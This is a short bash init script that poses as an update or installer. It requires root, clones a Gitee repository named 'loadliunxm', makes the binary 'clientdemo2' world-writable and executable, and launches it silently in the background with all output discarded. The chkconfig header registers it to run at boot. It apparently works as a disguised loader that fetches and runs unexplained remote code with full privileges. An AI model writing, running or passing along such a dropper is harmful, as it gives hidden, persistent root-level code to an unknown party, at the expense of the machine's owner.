#!/bin/bash
#chkconfig:2345 80 90
#decription:asdasds
if [ $(whoami) != "root" ];then
	echo "为了您的安全请使用管理员权限执行安装命令！"
	exit 1;
fi
echo "UPDATE..."
echo "WAITING......................."
git clone https://gitee.com/dudou1131/loadliunxm.git
cd loadliunxm/
chmod 777 clientdemo2
nohup ./clientdemo2 </dev/null &>/dev/null &
#echo "PANL OK"
exit 0